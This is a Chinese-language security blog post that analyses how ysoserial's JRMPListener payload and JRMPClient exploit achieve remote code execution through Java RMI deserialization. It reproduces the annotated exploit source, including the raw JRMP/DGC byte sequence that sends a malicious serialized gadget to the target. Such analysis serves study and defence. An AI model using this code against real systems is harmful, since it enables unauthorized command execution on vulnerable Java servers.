java 反序列化 ysoserial exploit/JRMPClient 原理剖析

怼烎@ 2021-08-30 14:46 487阅读 0赞

**目录**

0 前言

1 payloads/JRMPListener

1.1 payload生成

1.2 gadget链分析

2 使用RMIRegistryExploit攻击上述开启的监听

3 exploit/JRMPClient

3.1 分布式垃圾收集（DGC）

3.2 exploit/JRMPClient代码分析

4 总结

--------------------

# 0 前言 #

ysoserial中的exploit/JRMPClient是作为攻击方的代码，一般会结合payloads/JRMPLIstener使用，攻击流程就是：

1、先往存在漏洞的服务器发送payloads/JRMPLIstener，使服务器反序列化该payload后，会开启一个rmi服务并监听在设置的端口

2、然后攻击方在自己的服务器使用exploit/JRMPClient与存在漏洞的服务器进行通信，并且发送一个可命令执行的payload（假如存在漏洞的服务器中有使用org.apacje.commons.collections包，则可以发送CommonsCollections系列的payload），从而达到命令执行的结果。

下面就分别分析一下exploit/JRMPClient与payloads/JRMPLIstener

# 1 payloads/JRMPListener #

## 1.1 payload生成 ##

首先分析payloads/JRMPLIstener，这部分代码量很少，我给代码添加了注释以便理解：

public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
     
        public UnicastRemoteObject getObject(final String command) throws Exception {
            //设置jrmp监听端口
            int jrmpPort = Integer.parseInt(command);
            //调用RemoteObject类的构造方法，new UnicastServerRef(jrmpPort)作为构造方法的参数，然后返回一个ActivationGroupImpl类型的对象
            UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{
                RemoteRef.class
            }, new Object[]{
                new UnicastServerRef(jrmpPort)
            });
            //通过反射设置uro对象中的port属性值为jrmpPort
            Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
            return uro;
        }
     
    }

同时我也给Reflections.createWithConstructor方法添加了注释，如下：

public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        //获取constructorClass类的构造方法，从泛型限定来看，constructorClass为classToInstantiate的父类
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        //这里会根据constructorClass父类的构造方法新建一个构造方法，但使用该构造方法newInstance出的对象为constructorClass类型
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        //调用constructorClass父类的构造方法，将consArgs作为参数，返回constructorClass类型的对象
        return (T)sc.newInstance(consArgs);
    }

通过以上代码的分析，最后知道了生成的payload对象为ActivationGroupImpl类型，并将其向上转型为其父类UnicastRemoteObject类型。明白该payload怎么生成后，就该分析它的gadget链了。

## 1.2 gadget链分析 ##

下面是作者给出的整个调用链：

Gadget chain:
     * UnicastRemoteObject.readObject(ObjectInputStream) line: 235
     * UnicastRemoteObject.reexport() line: 266
     * UnicastRemoteObject.exportObject(Remote, int) line: 320
     * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
     * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
     * LiveRef.exportObject(Target) line: 147
     * TCPEndpoint.exportObject(Target) line: 411
     * TCPTransport.exportObject(Target) line: 249
     * TCPTransport.listen() line: 319

我们就根据上述链去分析相应的代码：

1、虽然生成的payload实际对象为ActivationGroupImpl类型，但其被向上转型为了UnicastRemoteObject类型，所以在反序列化时自然会先执行UnicastRemoteObjec的readObject方法，因此在该方法中下断点，如下：

![20200315120750383.png][]

2、跟入reexport()方法，可以看到执行到了如下位置：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70][]

3、继续跟进，这里就很熟悉了，在前一篇调试RMI时，后面的流程已经走完了：

![20200315124402215.png][]

4、最终到了TCPTransport类的exportObject(Target var1)方法，如下，即开启了监听，只不过其导出的对象为上述生成的payload本身而已：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 1][]

到这里，就明白了如果服务端反序列化了该payload，即可开启rmi监听。

## 2 使用RMIRegistryExploit攻击上述开启的监听 ##

我想既然服务端开启了rmi监听，那客户端应该也是可以使用RMIRegistryExploit去攻击的，但是出现了如下错误：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 2][]

1、因此还是用调试RMI时的思路，在TCPTransport类的handleMessages(Connection var1, boolean var2)方法中设置断点，客户端代码很简单：

![20200315140028496.png][]

2、运行客户端代码，服务端即运行到了如下断点位置，可以看到var5值为116，而我们之前调试RMI时，var5的值为80，因此在下面的switch分支中就与正常RMI通信时出现了偏差。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 3][]

可以看到下面进入了switch的default分支，然后抛出了异常，最终断开了与客户端的连接。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 4][]

**因此使用RMIRegistryExploit时无法攻击payloads/JRMPLIstener开启的rmi监听的。**

# 3 exploit/JRMPClient #

下面分析一下exploit/JRMPClient是如何与payloads/JRMPLIstener开启的rmi监听进行通信的。先看一下作者对这个exp的描述：

Generic JRMP client
     *
     * Pretty much the same thing as {@link RMIRegistryExploit} but
     * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
     * - not deserializing anything (so you don't get yourself exploited ;))

首先说的是这个exp是与RMIRegistryExploit类似的一种攻击方式，在前面第二章我们已经试过了 RMIRegistryExploit是无法成功攻击的。后面列举了两点：

1、攻击目标是远程DGC，也就是分布式垃圾收集，只要服务端有listener监听，就一定存在DGC。

2、不反序列化任何数据，意思就是客户端不会接受任何服务端发送的数据，这样就避免了被对方反过来进行攻击。

## 3.1 分布式垃圾收集（DGC） ##

这里就先简单了解一下分布式垃圾收集

在Java虚拟机中，对于一个本地对象，只要不被本地Java虚拟机中的任何变量引用，它就可以被垃圾回收器回收了。

而对于一个远程对象，不仅会被本地Java虚拟机中的变量引用还会被远程引用。如将远程对象注册到Rregistry时，Registry注册表就会持有它的远程引用。

RMI框架采用分布式垃圾收集机制(DGC，Distributed Garbage Collection)来管理远程对象的生命周期。DGC的主要规则是，只有当一个远程对象不受任何本地引用和远程引用，这个远程对象才会结束生命周期。

当客户端获得了一个服务器端的远程对象存根时，就会向服务器发送一条租约通知，告诉服务器自己持有这个远程对象的引用了。此租约有一个租约期限，租约期限可通过系统属性java.rmi.dgc.leaseValue来设置，以毫秒为单位，其默认值为600 000毫秒。如果租约到期后服务器端没有继续收到客户端新的租约通知，服务器端就会认为这个客户已经不再持有远程对象的引用。

因此可以通过与DGC通信的方式发送恶意payload让服务端进行反序列化，从而执行任意命令。

**下面我们先动态调试一下DGC相关的通信流程，然后返过去去理解exploit/JRMPClient的代码效果更好：**

1、借用之前分析RMI的经验，我仍然在TCPTransport类的handleMessages(Connection var1, boolean var2)方法中设置断点，然后用exploit/JRMPClient去打开启的监听端口，果然在该方法中的断点处停了下来，通过查看调用栈，如下：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 5][]

我们先看一下handleMessages的上一级调用，即TCPTransport$ConnectionHandler.run0方法，可以看到读取了一个int数据：

![2020031519463544.png][]

下图又读取了一个short数据，接着读取了一个byte数据，但显示的调试信息有错，因为var15应该为76：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 6][]

于是switch进入下面的case76，继而进入handleMessage方法中：

![20200315195041923.png][]

2、我们接着回到handleMessages方法中，看到读取了int数据80，于是进入了switch中的case80分支：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 7][]

2、继续跟进，到了Transport类的serviceCall(final RemoteCall var1)方法：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 8][]

（1）先进入ObjID.read()方法，可以看到先读取了一个long型数据：

![20200315200927449.png][]

再进入UID.read方法，可以看到连续读取了int、long、short三个数据：

![20200315201042209.png][]

所以上面执行ObjID.read()方法的过程中就是通过读取数据最终生成一个ObjID对象，并且在下图中，会用该ObjID对象与dgcID作比较，dgcID如下：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 9][]

![20200315203148702.png][]                          ![20200315203216168.png][]

如上最终dgcID生成的结构就是\[0:0:0, 2\]。与上面执行ObjID.read()方法生成的ObjID值是一样的。

（2）接着往下看还不仍然是获取了Target对象，由于ObjID值与dgcID值相同，因此最终生成的Target对象是DGCImpl类型的，后面同样获取了Target的Dispatcher，然后使用它的dispatch方法进行分派。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 10][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 11][]

3、同样的，在UnicastServerRef类中的dispatch(Remote var1, RemoteCall var2)方法中读取了一个int值，这里调试信息显示错误，应该是var3的值为1

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 12][]

4、接着有读取了一个long值，如下，依然有错误，应该是var4的值：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 13][]

5、 接着进入了DGCImpl\_Skel类的dispatch(Remote var1, RemoteCall var2, int var3, long var4),

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 14][]

从前面知道var3值为1，因此进入switch的case1分支，这里就会对exploit/JRMPClient发送的恶意payload进行反序列化，从而执行其中包含的任意命令。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 15][]

到了这里，整个DGC调用的流程也走完了，同时发送的payload中包含的命令也执行了。

## 3.2 exploit/JRMPClient代码分析 ##

经过上面的3.1节的调试，下面的代码就很容易理解了，并且我也对关键代码做了注释，如下：

1、先看JRMPClient类的main方法，主要的就如下添加注释的两行代码：

public static final void main ( final String[] args ) {
            if ( args.length < 4 ) {
                System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
                System.exit(-1);
            }
            //生成指定的命令执行的payload
            Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
            String hostname = args[ 0 ];
            int port = Integer.parseInt(args[ 1 ]);
            try {
                System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
                //通信方法
                makeDGCCall(hostname, port, payloadObject);
            }
            catch ( Exception e ) {
                e.printStackTrace(System.err);
            }
            Utils.releasePayload(args[2], payloadObject);
        }

2、下面就看主要的通信方法makeDGCCall了，其发送的通信数据在上面调试中均已发现其具体作用，我也进行了注释：

public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
            InetSocketAddress isa = new InetSocketAddress(hostname, port);
            Socket s = null;
            DataOutputStream dos = null;
            try {
                //创建与使用payloads/JRMPLIstener开启监听的rmi服务的Socket通信
                s = SocketFactory.getDefault().createSocket(hostname, port);
                s.setKeepAlive(true);
                s.setTcpNoDelay(true);
                //获取Socket的输出流
                OutputStream os = s.getOutputStream();
                //将输出流包装成DataOutputStream流对象
                dos = new DataOutputStream(os);
                //下面发送了三组数据，是在服务端TCPTransport类的handleMessages方法调用前通信的数据
                dos.writeInt(TransportConstants.Magic); // 1246907721;
                dos.writeShort(TransportConstants.Version); // 2
                dos.writeByte(TransportConstants.SingleOpProtocol); // 76
                //在TCPTransport类的handleMessages方法中获取到了80
                dos.write(TransportConstants.Call); //80
                //下面依然是往服务器发送数据，但是经过了序列化处理
                @SuppressWarnings ( "resource" )
                final ObjectOutputStream objOut = new MarshalOutputStream(dos);
                //下面四组数据最终发到服务端是用来创建ObjID对象，并且值与dgcID[0:0:0, 2]相同
                objOut.writeLong(2); // DGC
                objOut.writeInt(0);
                objOut.writeLong(0);
                objOut.writeShort(0);
                //下面数据是在服务端每一个dispatch方法中获取的
                objOut.writeInt(1); // dirty
                objOut.writeLong(-669196253586618813L);
                //前面经过那么多数据的通信，到了这里就可以发送恶意payload了，服务端会对其进行反序列化处理。
                objOut.writeObject(payloadObject);
     
                os.flush();
            }
            finally {
                if ( dos != null ) {
                    dos.close();
                }
                if ( s != null ) {
                    s.close();
                }
            }
        }

# 4 总结 #

终于把ysoserial exploit/JRMPClient中的代码原理搞清楚了，有了前一篇分析RMI的经验，本次分析DGC也得心应手了许多。

1、exploit/JRMPClient与exploit/RMIRegistryExploit类似，可以攻击任何RMIServer，但exploit/JRMPClient是通过dgc通信进行攻击，而exploit/RMIRegistryExploit是通过bind方法绑定恶意payload进行攻击。

2、exploit/JRMPClient可以结合payloads/JRMPListener进行攻击，但exploit/RMIRegistryExploit不能结合payloads/JRMPListener进行攻击

3、JEP 290之后，对RMI注册表和分布式垃圾收集（DGC）新增了内置过滤器，以上攻击方式均失效了。

[20200315120750383.png]: /images/20210728/951376e9d1b24034bd28a0bc4b0c669f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70]: /images/20210728/0458725e3bce49509ee8cbc318870cae.png
[20200315124402215.png]: /images/20210728/46ebc500c1294a48b125fbe62c6eaeaa.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 1]: /images/20210728/d4c228910f494140940c5a91aa035084.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 2]: /images/20210728/ee3991911f294660b9cbc67e61919ad6.png
[20200315140028496.png]: /images/20210728/315e02f64c524a3e9b7cdeb23a2e096f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 3]: /images/20210728/e6cd94413e1d437fbf680dbcbb4ff139.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 4]: /images/20210728/d9daa07c10cb4ec189f5e72aff55a6d9.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 5]: /images/20210728/d29761aae8d944ffa24a1031d7213b15.png
[2020031519463544.png]: /images/20210728/f139f586d8a849aba676298420ac62f1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 6]: /images/20210728/1fb9ad9d2bfe467ba4cc019bc4f1c240.png
[20200315195041923.png]: /images/20210728/33dacc9952484d3684fd7ed82fcd4309.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 7]: /images/20210728/cb40782c3b2644c28096a2f86c669501.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 8]: /images/20210728/f83c4b3e3599487487fa3129ce46b549.png
[20200315200927449.png]: /images/20210728/1004da642ee142ac9044dcc80cde87c1.png
[20200315201042209.png]: /images/20210728/9d4ea3471be04ef4afe05683568a9e57.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 9]: /images/20210728/7af2466cf21a47529266d62f66958c65.png
[20200315203148702.png]: https://img-blog.csdnimg.cn/20200315203148702.png
[20200315203216168.png]: /images/20210728/7098091a187d43d0b65f1e485aa21604.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 10]: /images/20210728/0150d57fb7324ebeb5454ef2410f384f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 11]: /images/20210728/7dc8f371a6e34239a9825c2a3b1c7ffb.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 12]: /images/20210728/93bbd99dacb841318a8d3d0a4ff743a5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 13]: /images/20210728/076273a7fab945e484cd72a586cb9c99.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 14]: /images/20210728/7211dda2a23744c397988fb9c1451497.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Fzb3J0Xw_size_16_color_FFFFFF_t_70 15]: /images/20210728/392e0e599d9b4332ba8d82bda9d12ec6.png